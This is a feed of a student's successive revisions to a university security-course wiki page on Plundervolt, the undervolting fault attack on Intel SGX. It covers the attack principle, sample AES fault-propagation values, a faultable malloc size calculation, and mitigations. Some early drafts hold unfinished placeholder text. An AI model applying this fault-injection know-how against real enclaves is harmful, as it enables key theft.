https://elvis.hcw.ac.at/wiki/api.php?action=feedcontributions&feedformat=atom&user=SVrdoljakElvis Wiki - User contributions [en]2026-09-10T16:34:27ZUser contributionsMediaWiki 1.41.5https://elvis.hcw.ac.at/wiki/index.php?title=Plundervolt&diff=9003Plundervolt2021-12-21T22:33:56Z<p>SVrdoljak: /* Faulting Memory Allocations */</p>
<hr />
<div>== Summary == <br />
<br />
Plundervolt is a [[Fault Injection Attack]] which attacks Intel Core x86 processors, by generating faults through voltage glitching (specifically undervolting).<br />
<br />
== Description ==<br />
<br />
Plundervolt, also known as CVE-2019-11157, is a vulnerability that relies on the fact that if you run an Intel Core x86 processors, on a voltage that’s a little bit lower than it usually expects, e.g., 0.9V instead of 1.0V, it may carry on working almost as normal, but get some calculations very slightly wrong.<ref name="PLV"/><ref name="PLV1"/><br />
<br />
Plundervolt attacks the Intel Software Guard eXtensions (SGX). Intel SGX is a security feature implemented in almost all modern Intel CPUs. The SGX enclaves operate on small sections of the main memory of the CPU. It is usually isolated at a hardware level (separation of SGX memory and CPU memory) and at a software level (encrypted SGX data).<ref name="PLV"/><ref name="PLV1"/><ref name="PLV2"/><br />
<br />
This security feature allows developers to isolate various applications inside of secure "enclaves" from the other apps running on the OS. This way, sensitive information is kept save inside a safe enclave in the CPU.<ref name="PLV"/><ref name="PLV1"/><ref name="PLV2"/><br />
<br />
Plundervolt was first discovered in 2019 by a team of six academics from the following universities: <br />
* University of Birmingham (UK)<br />
* KU Leuven (Belgium)<br />
* the Graz University of Technology (Austria) <br />
<br />
The researchers found out that if previous fault injection attack concepts are combined together a new attack can be found: Plundervolt. The first concept was the Rowhammer attack. This attack shows that that tinkering with a memory cell's electrical charge, can cause it to flip its bit value from 1 to 0, and vice versa.<br />
The second concept was CLKSCREW, which showed the usage of the CPU's energy management system called Dynamic Voltage and Frequency Scaling (DVFS) to take over a system.<ref name="PLV"/><ref name="PLV1"/><ref name="PLV2"/><br />
<br />
Plundervolt combines the principles behind these two attacks. The CPU's energy management interface is used and to alter the electrical voltage and frequency of te SGX memory cells. This causes unwanted alterations to SGX data.<ref name="PLV"/><ref name="PLV1"/><br />
<br />
The researchers tried undervolting various x86 instructions. They observed that multiplications (e.g., imul) and other complex instructions such as the AES New Instructions (AESNI) extensions can be most easily faulted. Plundervolt can practically fault in-enclave computations. The research team showed different attacks against widely used cryptographic algorithms, such as:<ref name="PLV"/><ref name="PLV1"/><br />
<br />
* Factoring RSA Keys With One Fault <br />
* Breaking AES-NI <br />
* SGX-provided crypto functions (MAC used in AES-GCM, ECC signatures and key exchange)<br />
* SGX-provided instructions for key derivation and attestation<br />
<br />
But Plundervolt doesn’t only affect cryptographic code, it also affects standard code:<ref name="PLV"/><ref name="PLV1"/><br />
<br />
* Faulting Pointer Arithmetic<br />
* Faulting Memory Allocations<br />
<br />
== Attack Vectors ==<br />
<br />
=== Breaking AES-NI ===<br />
<br />
The attack vector for breaking the AES-NI encryption instruction (v)aesenc shows that this instruction is vulnerable on the i7-8650U-A processor with –195 mV undervolting and on the i3-7100U-A processor with –232-mV undervolting. The faults were always a single bit flip on the leftmost two bytes of the round function’s output. Such single bit-flip faults are ideally suited for differential fault analysis. The researchers repeated this attack a few times. They got a fault in round 8. The bold text indicates the fault propagation from round to round. In round 8, there is a single fault. In round 9, the fault has affected more bytes. By round 10, every byte is affected. They then apply the differential fault analysis technique which, given a pair of correct and faulty ciphertexts on the same plaintext, recovers the full 128-bit AES key with a computational complexity of only 232 + 256 encryptions on average.<ref name="PLV"/><ref name="PLV1"/> <br />
<br />
plaintext: 5ABB97CCFE5081A4598A90E1CEF1BC39<br />
CT1: DE49E9284A625F72DB87B4A559E814C4 <- faulty<br />
CT2: BDFADCE3333976AD53BB1D718DFC4D5A <- correct<br />
<br />
input to round 10:<br />
1: '''CD58F457 A9F61565 2880132E 14C32401'''<br />
2: '''AEEBC19C D0AD3CBA A0BCBAFA C0D77D9F'''<br />
<br />
input to round 9:<br />
1: 6F6356'''F9''' 26F80'''71'''F 9D'''90'''C6B2 '''E6'''884534<br />
2: 6F6356'''C7''' 26F8D'''01'''F 9D'''F7'''C6B2 '''A4'''884534<br />
<br />
input to round 8:<br />
1C274B5B 2DFD8544 1D8AEAC0 64'''3E'''70A1<br />
1C274B5B 2DFD8544 1D8AEAC0 64'''66'''70A1<br />
<br />
=== Faulting Memory Allocations ===<br />
<br />
The second attack vector is size computations for dynamic memory allocations. These allocations are very common and rely on multiplications. For example, a large array of struct elements might be allocated using the following (where red indicates the data type of the variable, teal is a code comment, and green represents a keyword). However, we showed that Plundervolt breaks the processor’s architectural guarantees, as imul (signed multiply) can be faulted to produce erroneous results that are smaller than the expected value. When a multiplication fault occurs during calculation of the size variable, a smaller buffer than expected will be allocated. Because Plundervolt corrupts multiplications silently, without failing the malloc() call, the subsequent code has no means of determining the actual size of the allocated buffer. The allocated buffer will assume a larger buffer for write and read operations and hence read or write out of bounds, corrupting the trusted enclave heap.<ref name="PLV"/><ref name="PLV1"/> <br />
<br />
''// Compute size''<br />
size_t size = count * sizeof(elem_t);<br />
<br />
''// Allocate array''<br />
elem_t *array = malloc(size);<br />
<br />
''// ... use array ...''<br />
<br />
== Mitigation and Countermeasures ==<br />
<br />
Plundervolt is a serious issue. Countermeasures and counterattacks, as published by the researchers, for Plundervolt would be:<ref name="PLV"/><ref name="PLV1"/> <br />
<br />
* Hardening the trusted in-enclave code, by detecting faulty computation results.<ref name="PLV"/><ref name="PLV1"/> <br />
* For cryptographic algorithms, the use of (generic) temporal redundancy (compute-twice-and-compare) is proposed as well as the usage of more algorithm-specific approaches. For instance, in the RSA-CRT case, the signature could be verified. In the AES-NI case, the encryption can be verified with a subsequent decryption, and so on.<ref name="PLV"/><ref name="PLV1"/><br />
* For noncryptographic code the situation is complicated—the exact results of a fault injection will vary. Mitigations like address space layout randomization (which changes the location of the program in memory each time it runs) make exploits harder but still do not remove the root cause.<ref name="PLV"/><ref name="PLV1"/><br />
<br />
Intel has already patched the vulnerability. The patch is a BIOS update that turns off access to the processor instruction used to produce undervoltages, thus stopping any software, including code inside the kernel, from fiddling with your CPU voltage while the system is running.<ref name="PLV"/><ref name="PLV1"/><br />
<br />
== Courses ==<br />
<br />
* [[Ausgewählte Kapitel der IT-Security]] (2021)<br />
<br />
== References ==<br />
<references><br />
<ref name="PLV">K. Murdock, D. Oswald, F. D. Garcia, J. Van Bulck, F. Piessens and D. Gruss, "Plundervolt: How a Little Bit of Undervolting Can Create a Lot of Trouble," in IEEE Security & Privacy, vol. 18, no. 5, pp. 28-37, Sept.-Oct. 2020, doi: 10.1109/MSEC.2020.2990495.</ref><br />
<ref name="PLV1">K. Murdock, D. Oswald, F. D. Garcia, J. Van Bulck, D. Gruss and F. Piessens, "Plundervolt: Software-based Fault Injection Attacks against Intel SGX," 2020 IEEE Symposium on Security and Privacy (SP), 2020, pp. 1466-1482, doi: 10.1109/SP40000.2020.00057.</ref><br />
<ref name="PLV2">https://nakedsecurity.sophos.com/2019/12/16/plundervolt-stealing-secrets-by-starving-your-computer-of-voltage/</ref><br />
<br />
</references><br />
<br />
<br />
[[Category:Documentation]]</div>SVrdoljakhttps://elvis.hcw.ac.at/wiki/index.php?title=Plundervolt&diff=9002Plundervolt2021-12-21T22:32:56Z<p>SVrdoljak: </p>
<hr />
<div>== Summary == <br />
<br />
Plundervolt is a [[Fault Injection Attack]] which attacks Intel Core x86 processors, by generating faults through voltage glitching (specifically undervolting).<br />
<br />
== Description ==<br />
<br />
Plundervolt, also known as CVE-2019-11157, is a vulnerability that relies on the fact that if you run an Intel Core x86 processors, on a voltage that’s a little bit lower than it usually expects, e.g., 0.9V instead of 1.0V, it may carry on working almost as normal, but get some calculations very slightly wrong.<ref name="PLV"/><ref name="PLV1"/><br />
<br />
Plundervolt attacks the Intel Software Guard eXtensions (SGX). Intel SGX is a security feature implemented in almost all modern Intel CPUs. The SGX enclaves operate on small sections of the main memory of the CPU. It is usually isolated at a hardware level (separation of SGX memory and CPU memory) and at a software level (encrypted SGX data).<ref name="PLV"/><ref name="PLV1"/><ref name="PLV2"/><br />
<br />
This security feature allows developers to isolate various applications inside of secure "enclaves" from the other apps running on the OS. This way, sensitive information is kept save inside a safe enclave in the CPU.<ref name="PLV"/><ref name="PLV1"/><ref name="PLV2"/><br />
<br />
Plundervolt was first discovered in 2019 by a team of six academics from the following universities: <br />
* University of Birmingham (UK)<br />
* KU Leuven (Belgium)<br />
* the Graz University of Technology (Austria) <br />
<br />
The researchers found out that if previous fault injection attack concepts are combined together a new attack can be found: Plundervolt. The first concept was the Rowhammer attack. This attack shows that that tinkering with a memory cell's electrical charge, can cause it to flip its bit value from 1 to 0, and vice versa.<br />
The second concept was CLKSCREW, which showed the usage of the CPU's energy management system called Dynamic Voltage and Frequency Scaling (DVFS) to take over a system.<ref name="PLV"/><ref name="PLV1"/><ref name="PLV2"/><br />
<br />
Plundervolt combines the principles behind these two attacks. The CPU's energy management interface is used and to alter the electrical voltage and frequency of te SGX memory cells. This causes unwanted alterations to SGX data.<ref name="PLV"/><ref name="PLV1"/><br />
<br />
The researchers tried undervolting various x86 instructions. They observed that multiplications (e.g., imul) and other complex instructions such as the AES New Instructions (AESNI) extensions can be most easily faulted. Plundervolt can practically fault in-enclave computations. The research team showed different attacks against widely used cryptographic algorithms, such as:<ref name="PLV"/><ref name="PLV1"/><br />
<br />
* Factoring RSA Keys With One Fault <br />
* Breaking AES-NI <br />
* SGX-provided crypto functions (MAC used in AES-GCM, ECC signatures and key exchange)<br />
* SGX-provided instructions for key derivation and attestation<br />
<br />
But Plundervolt doesn’t only affect cryptographic code, it also affects standard code:<ref name="PLV"/><ref name="PLV1"/><br />
<br />
* Faulting Pointer Arithmetic<br />
* Faulting Memory Allocations<br />
<br />
== Attack Vectors ==<br />
<br />
=== Breaking AES-NI ===<br />
<br />
The attack vector for breaking the AES-NI encryption instruction (v)aesenc shows that this instruction is vulnerable on the i7-8650U-A processor with –195 mV undervolting and on the i3-7100U-A processor with –232-mV undervolting. The faults were always a single bit flip on the leftmost two bytes of the round function’s output. Such single bit-flip faults are ideally suited for differential fault analysis. The researchers repeated this attack a few times. They got a fault in round 8. The bold text indicates the fault propagation from round to round. In round 8, there is a single fault. In round 9, the fault has affected more bytes. By round 10, every byte is affected. They then apply the differential fault analysis technique which, given a pair of correct and faulty ciphertexts on the same plaintext, recovers the full 128-bit AES key with a computational complexity of only 232 + 256 encryptions on average.<ref name="PLV"/><ref name="PLV1"/> <br />
<br />
plaintext: 5ABB97CCFE5081A4598A90E1CEF1BC39<br />
CT1: DE49E9284A625F72DB87B4A559E814C4 <- faulty<br />
CT2: BDFADCE3333976AD53BB1D718DFC4D5A <- correct<br />
<br />
input to round 10:<br />
1: '''CD58F457 A9F61565 2880132E 14C32401'''<br />
2: '''AEEBC19C D0AD3CBA A0BCBAFA C0D77D9F'''<br />
<br />
input to round 9:<br />
1: 6F6356'''F9''' 26F80'''71'''F 9D'''90'''C6B2 '''E6'''884534<br />
2: 6F6356'''C7''' 26F8D'''01'''F 9D'''F7'''C6B2 '''A4'''884534<br />
<br />
input to round 8:<br />
1C274B5B 2DFD8544 1D8AEAC0 64'''3E'''70A1<br />
1C274B5B 2DFD8544 1D8AEAC0 64'''66'''70A1<br />
<br />
=== Faulting Memory Allocations ===<br />
<br />
The second attack vector is size computations for dynamic memory allocations. These allocations are very common and rely on multiplications. For example, a large array of struct elements might be allocated using the following (where red indicates the data type of the variable, teal is a code comment, and green represents a keyword). However, we showed that Plundervolt breaks the processor’s architectural guarantees, as imul (signed multiply) can be faulted to produce erroneous results that are smaller than the expected value. When a multiplication fault occurs during calculation of the size variable, a smaller buffer than expected will be allocated. Because Plundervolt corrupts multiplications silently, without failing the malloc() call, the subsequent code has no means of determining the actual size of the allocated buffer. The allocated buffer will assume a larger buffer for write and read operations and hence read or write out of bounds, corrupting the trusted enclave heap.<ref name="PLV"/><ref name="PLV1"/> <br />
<br />
''// Compute size''<br />
size_t size = count * sizeof(elem_t);<br />
<br />
''// Allocate array''<br />
elem_t *array = malloc(size);<br />
<br />
''// ... use array ...''<br />
<br />
<br />
== Mitigation and Countermeasures ==<br />
<br />
Plundervolt is a serious issue. Countermeasures and counterattacks, as published by the researchers, for Plundervolt would be:<ref name="PLV"/><ref name="PLV1"/> <br />
<br />
* Hardening the trusted in-enclave code, by detecting faulty computation results.<ref name="PLV"/><ref name="PLV1"/> <br />
* For cryptographic algorithms, the use of (generic) temporal redundancy (compute-twice-and-compare) is proposed as well as the usage of more algorithm-specific approaches. For instance, in the RSA-CRT case, the signature could be verified. In the AES-NI case, the encryption can be verified with a subsequent decryption, and so on.<ref name="PLV"/><ref name="PLV1"/><br />
* For noncryptographic code the situation is complicated—the exact results of a fault injection will vary. Mitigations like address space layout randomization (which changes the location of the program in memory each time it runs) make exploits harder but still do not remove the root cause.<ref name="PLV"/><ref name="PLV1"/><br />
<br />
Intel has already patched the vulnerability. The patch is a BIOS update that turns off access to the processor instruction used to produce undervoltages, thus stopping any software, including code inside the kernel, from fiddling with your CPU voltage while the system is running.<ref name="PLV"/><ref name="PLV1"/><br />
<br />
== Courses ==<br />
<br />
* [[Ausgewählte Kapitel der IT-Security]] (2021)<br />
<br />
== References ==<br />
<references><br />
<ref name="PLV">K. Murdock, D. Oswald, F. D. Garcia, J. Van Bulck, F. Piessens and D. Gruss, "Plundervolt: How a Little Bit of Undervolting Can Create a Lot of Trouble," in IEEE Security & Privacy, vol. 18, no. 5, pp. 28-37, Sept.-Oct. 2020, doi: 10.1109/MSEC.2020.2990495.</ref><br />
<ref name="PLV1">K. Murdock, D. Oswald, F. D. Garcia, J. Van Bulck, D. Gruss and F. Piessens, "Plundervolt: Software-based Fault Injection Attacks against Intel SGX," 2020 IEEE Symposium on Security and Privacy (SP), 2020, pp. 1466-1482, doi: 10.1109/SP40000.2020.00057.</ref><br />
<ref name="PLV2">https://nakedsecurity.sophos.com/2019/12/16/plundervolt-stealing-secrets-by-starving-your-computer-of-voltage/</ref><br />
<br />
</references><br />
<br />
<br />
[[Category:Documentation]]</div>SVrdoljakhttps://elvis.hcw.ac.at/wiki/index.php?title=Plundervolt&diff=9001Plundervolt2021-12-21T22:31:05Z<p>SVrdoljak: </p>
<hr />
<div>== Summary == <br />
<br />
Plundervolt is a [[Fault Injection Attack]] which attacks Intel Core x86 processors, by generating faults through voltage glitching (specifically undervolting).<br />
<br />
== Description ==<br />
<br />
Plundervolt, also known as CVE-2019-11157, is a vulnerability that relies on the fact that if you run an Intel Core x86 processors, on a voltage that’s a little bit lower than it usually expects, e.g., 0.9V instead of 1.0V, it may carry on working almost as normal, but get some calculations very slightly wrong.<ref name="PLV"/><ref name="PLV1"/><br />
<br />
Plundervolt attacks the Intel Software Guard eXtensions (SGX). Intel SGX is a security feature implemented in almost all modern Intel CPUs. The SGX enclaves operate on small sections of the main memory of the CPU. It is usually isolated at a hardware level (separation of SGX memory and CPU memory) and at a software level (encrypted SGX data).<ref name="PLV"/><ref name="PLV1"/><ref name="PLV2"/><br />
<br />
This security feature allows developers to isolate various applications inside of secure "enclaves" from the other apps running on the OS. This way, sensitive information is kept save inside a safe enclave in the CPU.<ref name="PLV"/><ref name="PLV1"/><ref name="PLV2"/><br />
<br />
Plundervolt was first discovered in 2019 by a team of six academics from the following universities: <br />
* University of Birmingham (UK)<br />
* KU Leuven (Belgium)<br />
* the Graz University of Technology (Austria) <br />
<br />
The researchers found out that if previous fault injection attack concepts are combined together a new attack can be found: Plundervolt. The first concept was the Rowhammer attack. This attack shows that that tinkering with a memory cell's electrical charge, can cause it to flip its bit value from 1 to 0, and vice versa.<br />
The second concept was CLKSCREW, which showed the usage of the CPU's energy management system called Dynamic Voltage and Frequency Scaling (DVFS) to take over a system.<ref name="PLV"/><ref name="PLV1"/><ref name="PLV2"/><br />
<br />
Plundervolt combines the principles behind these two attacks. The CPU's energy management interface is used and to alter the electrical voltage and frequency of te SGX memory cells. This causes unwanted alterations to SGX data.<ref name="PLV"/><ref name="PLV1"/><br />
<br />
The researchers tried undervolting various x86 instructions. They observed that multiplications (e.g., imul) and other complex instructions such as the AES New Instructions (AESNI) extensions can be most easily faulted. Plundervolt can practically fault in-enclave computations. The research team showed different attacks against widely used cryptographic algorithms, such as:<ref name="PLV"/><ref name="PLV1"/><br />
<br />
* Factoring RSA Keys With One Fault <br />
* Breaking AES-NI <br />
* SGX-provided crypto functions (MAC used in AES-GCM, ECC signatures and key exchange)<br />
* SGX-provided instructions for key derivation and attestation<br />
<br />
But Plundervolt doesn’t only affect cryptographic code, it also affects standard code:<ref name="PLV"/><ref name="PLV1"/><br />
<br />
* Faulting Pointer Arithmetic<br />
* Faulting Memory Allocations<br />
<br />
== Attack Vectors ==<br />
<br />
=== Breaking AES-NI ===<br />
<br />
The attack vector for breaking the AES-NI encryption instruction (v)aesenc shows that this instruction is vulnerable on the i7-8650U-A processor with –195 mV undervolting and on the i3-7100U-A processor with –232-mV undervolting. The faults were always a single bit flip on the leftmost two bytes of the round function’s output. Such single bit-flip faults are ideally suited for differential fault analysis. The researchers repeated this attack a few times. They got a fault in round 8. The bold text indicates the fault propagation from round to round. In round 8, there is a single fault. In round 9, the fault has affected more bytes. By round 10, every byte is affected. They then apply the differential fault analysis technique which, given a pair of correct and faulty ciphertexts on the same plaintext, recovers the full 128-bit AES key with a computational complexity of only 232 + 256 encryptions on average.<ref name="PLV"/><ref name="PLV1"/> <br />
<br />
plaintext: 5ABB97CCFE5081A4598A90E1CEF1BC39<br />
CT1: DE49E9284A625F72DB87B4A559E814C4 <- faulty<br />
CT2: BDFADCE3333976AD53BB1D718DFC4D5A <- correct<br />
<br />
input to round 10:<br />
1: '''CD58F457 A9F61565 2880132E 14C32401'''<br />
2: '''AEEBC19C D0AD3CBA A0BCBAFA C0D77D9F'''<br />
<br />
input to round 9:<br />
1: 6F6356'''F9''' 26F80'''71'''F 9D'''90'''C6B2 '''E6'''884534<br />
2: 6F6356'''C7''' 26F8D'''01'''F 9D'''F7'''C6B2 '''A4'''884534<br />
<br />
input to round 8:<br />
1C274B5B 2DFD8544 1D8AEAC0 64'''3E'''70A1<br />
1C274B5B 2DFD8544 1D8AEAC0 64'''66'''70A1<br />
<br />
=== Faulting Memory Allocations ===<br />
<br />
The second attack vector is size computations for dynamic memory allocations. These allocations are very common and rely on multiplications. For example, a large array of struct elements might be allocated using the following (where red indicates the data type of the variable, teal is a code comment, and green represents a keyword). However, we showed that Plundervolt breaks the processor’s architectural guarantees, as imul (signed multiply) can be faulted to produce erroneous results that are smaller than the expected value. When a multiplication fault occurs during calculation of the size variable, a smaller buffer than expected will be allocated. Because Plundervolt corrupts multiplications silently, without failing the malloc() call, the subsequent code has no means of determining the actual size of the allocated buffer. The allocated buffer will assume a larger buffer for write and read operations and hence read or write out of bounds, corrupting the trusted enclave heap.<ref name="PLV"/><ref name="PLV1"/> <br />
<br />
<br />
''// Compute size''<br />
size_t size = count * sizeof(elem_t);<br />
<br />
''// Allocate array''<br />
elem_t *array = malloc(size);<br />
<br />
''// ... use array ...''<br />
<br />
<br />
== Mitigation and Countermeasures ==<br />
<br />
[[Device to be used with this documentation]]<br />
[[Maybe another device to be used with this documentation]]<br />
<br />
== Courses ==<br />
<br />
* [[Ausgewählte Kapitel der IT-Security]] (2021)<br />
<br />
== References ==<br />
<references><br />
<ref name="PLV">K. Murdock, D. Oswald, F. D. Garcia, J. Van Bulck, F. Piessens and D. Gruss, "Plundervolt: How a Little Bit of Undervolting Can Create a Lot of Trouble," in IEEE Security & Privacy, vol. 18, no. 5, pp. 28-37, Sept.-Oct. 2020, doi: 10.1109/MSEC.2020.2990495.</ref><br />
<ref name="PLV1">K. Murdock, D. Oswald, F. D. Garcia, J. Van Bulck, D. Gruss and F. Piessens, "Plundervolt: Software-based Fault Injection Attacks against Intel SGX," 2020 IEEE Symposium on Security and Privacy (SP), 2020, pp. 1466-1482, doi: 10.1109/SP40000.2020.00057.</ref><br />
<ref name="PLV2">https://nakedsecurity.sophos.com/2019/12/16/plundervolt-stealing-secrets-by-starving-your-computer-of-voltage/</ref><br />
<br />
</references><br />
<br />
<br />
[[Category:Documentation]]</div>SVrdoljakhttps://elvis.hcw.ac.at/wiki/index.php?title=Plundervolt&diff=9000Plundervolt2021-12-21T22:23:29Z<p>SVrdoljak: </p>
<hr />
<div>== Summary == <br />
<br />
Plundervolt is a [[Fault Injection Attack]] which attacks Intel Core x86 processors, by generating faults through voltage glitching (specifically undervolting).<br />
<br />
== Description ==<br />
<br />
Plundervolt, also known as CVE-2019-11157, is a vulnerability that relies on the fact that if you run an Intel Core x86 processors, on a voltage that’s a little bit lower than it usually expects, e.g., 0.9V instead of 1.0V, it may carry on working almost as normal, but get some calculations very slightly wrong.<ref name="PLV"/><ref name="PLV1"/><br />
<br />
Plundervolt attacks the Intel Software Guard eXtensions (SGX). Intel SGX is a security feature implemented in almost all modern Intel CPUs. The SGX enclaves operate on small sections of the main memory of the CPU. It is usually isolated at a hardware level (separation of SGX memory and CPU memory) and at a software level (encrypted SGX data).<ref name="PLV"/><ref name="PLV1"/><ref name="PLV2"/><br />
<br />
This security feature allows developers to isolate various applications inside of secure "enclaves" from the other apps running on the OS. This way, sensitive information is kept save inside a safe enclave in the CPU.<ref name="PLV"/><ref name="PLV1"/><ref name="PLV2"/><br />
<br />
Plundervolt was first discovered in 2019 by a team of six academics from the following universities: <br />
* University of Birmingham (UK)<br />
* KU Leuven (Belgium)<br />
* the Graz University of Technology (Austria) <br />
<br />
The researchers found out that if previous fault injection attack concepts are combined together a new attack can be found: Plundervolt. The first concept was the Rowhammer attack. This attack shows that that tinkering with a memory cell's electrical charge, can cause it to flip its bit value from 1 to 0, and vice versa.<br />
The second concept was CLKSCREW, which showed the usage of the CPU's energy management system called Dynamic Voltage and Frequency Scaling (DVFS) to take over a system.<ref name="PLV"/><ref name="PLV1"/><ref name="PLV2"/><br />
<br />
Plundervolt combines the principles behind these two attacks. The CPU's energy management interface is used and to alter the electrical voltage and frequency of te SGX memory cells. This causes unwanted alterations to SGX data.<ref name="PLV"/><ref name="PLV1"/><br />
<br />
The researchers tried undervolting various x86 instructions. They observed that multiplications (e.g., imul) and other complex instructions such as the AES New Instructions (AESNI) extensions can be most easily faulted. Plundervolt can practically fault in-enclave computations. The research team showed different attacks against widely used cryptographic algorithms, such as:<ref name="PLV"/><ref name="PLV1"/><br />
<br />
* Factoring RSA Keys With One Fault <br />
* Breaking AES-NI <br />
* SGX-provided crypto functions (MAC used in AES-GCM, ECC signatures and key exchange)<br />
* SGX-provided instructions for key derivation and attestation<br />
<br />
But Plundervolt doesn’t only affect cryptographic code, it also affects standard code:<ref name="PLV"/><ref name="PLV1"/><br />
<br />
* Faulting Pointer Arithmetic<br />
* Faulting Memory Allocations<br />
<br />
== Attack Vectors ==<br />
<br />
=== Breaking AES-NI ===<br />
<br />
Enter these commands in the shell<br />
<br />
plaintext: 5ABB97CCFE5081A4598A90E1CEF1BC39<br />
CT1: DE49E9284A625F72DB87B4A559E814C4 <- faulty<br />
CT2: BDFADCE3333976AD53BB1D718DFC4D5A <- correct<br />
<br />
input to round 10:<br />
1: '''CD58F457 A9F61565 2880132E 14C32401'''<br />
2: '''AEEBC19C D0AD3CBA A0BCBAFA C0D77D9F'''<br />
<br />
input to round 9:<br />
1: 6F6356'''F9''' 26F80'''71'''F 9D'''90'''C6B2 '''E6'''884534<br />
2: 6F6356'''C7''' 26F8D'''01'''F 9D'''F7'''C6B2 '''A4'''884534<br />
<br />
input to round 8:<br />
1C274B5B 2DFD8544 1D8AEAC0 64'''3E'''70A1<br />
1C274B5B 2DFD8544 1D8AEAC0 64'''66'''70A1<br />
<br />
=== Faulting Memory Allocations ===<br />
<br />
Make sure to read<br />
<br />
''// Compute size''<br />
size_t size = count * sizeof(elem_t);<br />
<br />
''// Allocate array''<br />
elem_t *array = malloc(size);<br />
<br />
''// ... use array ...''<br />
<br />
<br />
== Mitigation and Countermeasures ==<br />
<br />
[[Device to be used with this documentation]]<br />
[[Maybe another device to be used with this documentation]]<br />
<br />
== Courses ==<br />
<br />
* [[Ausgewählte Kapitel der IT-Security]] (2021)<br />
<br />
== References ==<br />
<references><br />
<ref name="PLV">K. Murdock, D. Oswald, F. D. Garcia, J. Van Bulck, F. Piessens and D. Gruss, "Plundervolt: How a Little Bit of Undervolting Can Create a Lot of Trouble," in IEEE Security & Privacy, vol. 18, no. 5, pp. 28-37, Sept.-Oct. 2020, doi: 10.1109/MSEC.2020.2990495.</ref><br />
<ref name="PLV1">K. Murdock, D. Oswald, F. D. Garcia, J. Van Bulck, D. Gruss and F. Piessens, "Plundervolt: Software-based Fault Injection Attacks against Intel SGX," 2020 IEEE Symposium on Security and Privacy (SP), 2020, pp. 1466-1482, doi: 10.1109/SP40000.2020.00057.</ref><br />
<ref name="PLV2">https://nakedsecurity.sophos.com/2019/12/16/plundervolt-stealing-secrets-by-starving-your-computer-of-voltage/</ref><br />
<br />
</references><br />
<br />
<br />
[[Category:Documentation]]</div>SVrdoljakhttps://elvis.hcw.ac.at/wiki/index.php?title=Plundervolt&diff=8999Plundervolt2021-12-21T22:23:01Z<p>SVrdoljak: </p>
<hr />
<div>== Summary == <br />
<br />
Plundervolt is a [[Fault Injection Attack]] which attacks Intel Core x86 processors, by generating faults through voltage glitching (specifically undervolting).<br />
<br />
== Description ==<br />
<br />
Plundervolt, also known as CVE-2019-11157, is a vulnerability that relies on the fact that if you run an Intel Core x86 processors, on a voltage that’s a little bit lower than it usually expects, e.g., 0.9V instead of 1.0V, it may carry on working almost as normal, but get some calculations very slightly wrong.<ref name="PLV"/><ref name="PLV1"/><br />
<br />
Plundervolt attacks the Intel Software Guard eXtensions (SGX). Intel SGX is a security feature implemented in almost all modern Intel CPUs. The SGX enclaves operate on small sections of the main memory of the CPU. It is usually isolated at a hardware level (separation of SGX memory and CPU memory) and at a software level (encrypted SGX data).<ref name="PLV"/><ref name="PLV1"/><ref name="PLV2"/><br />
<br />
This security feature allows developers to isolate various applications inside of secure "enclaves" from the other apps running on the OS. This way, sensitive information is kept save inside a safe enclave in the CPU.<ref name="PLV"/><ref name="PLV1"/><ref name="PLV2"/><br />
<br />
Plundervolt was first discovered in 2019 by a team of six academics from the following universities: <br />
* University of Birmingham (UK)<br />
* KU Leuven (Belgium)<br />
* the Graz University of Technology (Austria) <br />
<br />
The researchers found out that if previous fault injection attack concepts are combined together a new attack can be found: Plundervolt. The first concept was the Rowhammer attack. This attack shows that that tinkering with a memory cell's electrical charge, can cause it to flip its bit value from 1 to 0, and vice versa.<br />
The second concept was CLKSCREW, which showed the usage of the CPU's energy management system called Dynamic Voltage and Frequency Scaling (DVFS) to take over a system.<ref name="PLV"/><ref name="PLV1"/><ref name="PLV2"/><br />
<br />
Plundervolt combines the principles behind these two attacks. The CPU's energy management interface is used and to alter the electrical voltage and frequency of te SGX memory cells. This causes unwanted alterations to SGX data.<ref name="PLV"/><ref name="PLV1"/><br />
<br />
The researchers tried undervolting various x86 instructions. They observed that multiplications (e.g., imul) and other complex instructions such as the AES New Instructions (AESNI) extensions can be most easily faulted. Plundervolt can practically fault in-enclave computations. The research team showed different attacks against widely used cryptographic algorithms, such as:<ref name="PLV"/><ref name="PLV1"/><br />
<br />
* Factoring RSA Keys With One Fault <br />
* Breaking AES-NI <br />
* SGX-provided crypto functions (MAC used in AES-GCM, ECC signatures and key exchange)<br />
* SGX-provided instructions for key derivation and attestation<br />
<br />
But Plundervolt doesn’t only affect cryptographic code, it also affects standard code:<ref name="PLV"/><ref name="PLV1"/><br />
<br />
* Faulting Pointer Arithmetic<br />
* Faulting Memory Allocations<br />
<br />
== Attack Vectors ==<br />
<br />
=== Breaking AES-NI ===<br />
<br />
Enter these commands in the shell<br />
<br />
plaintext: 5ABB97CCFE5081A4598A90E1CEF1BC39<br />
CT1: DE49E9284A625F72DB87B4A559E814C4 <- faulty<br />
CT2: BDFADCE3333976AD53BB1D718DFC4D5A <- correct<br />
<br />
input to round 10:<br />
1: '''CD58F457 A9F61565 2880132E 14C32401'''<br />
2: '''AEEBC19C D0AD3CBA A0BCBAFA C0D77D9F'''<br />
<br />
input to round 9:<br />
1: 6F6356'''F9''' 26F80'''71'''F 9D'''90'''C6B2 '''E6'''884534<br />
2: 6F6356'''C7''' 26F8D'''01'''F 9D'''F7'''C6B2 '''A4'''884534<br />
<br />
input to round 8:<br />
1C274B5B 2DFD8544 1D8AEAC0 64'''3E'''70A1<br />
1C274B5B 2DFD8544 1D8AEAC0 64'''66'''70A1<br />
<br />
=== Faulting Memory Allocations ===<br />
<br />
Make sure to read<br />
<br />
// Compute size<br />
size_t size = count * sizeof(elem_t);<br />
// Allocate array<br />
elem_t *array = malloc(size);<br />
// ... use array ...<br />
<br />
<br />
== Mitigation and Countermeasures ==<br />
<br />
[[Device to be used with this documentation]]<br />
[[Maybe another device to be used with this documentation]]<br />
<br />
== Courses ==<br />
<br />
* [[Ausgewählte Kapitel der IT-Security]] (2021)<br />
<br />
== References ==<br />
<references><br />
<ref name="PLV">K. Murdock, D. Oswald, F. D. Garcia, J. Van Bulck, F. Piessens and D. Gruss, "Plundervolt: How a Little Bit of Undervolting Can Create a Lot of Trouble," in IEEE Security & Privacy, vol. 18, no. 5, pp. 28-37, Sept.-Oct. 2020, doi: 10.1109/MSEC.2020.2990495.</ref><br />
<ref name="PLV1">K. Murdock, D. Oswald, F. D. Garcia, J. Van Bulck, D. Gruss and F. Piessens, "Plundervolt: Software-based Fault Injection Attacks against Intel SGX," 2020 IEEE Symposium on Security and Privacy (SP), 2020, pp. 1466-1482, doi: 10.1109/SP40000.2020.00057.</ref><br />
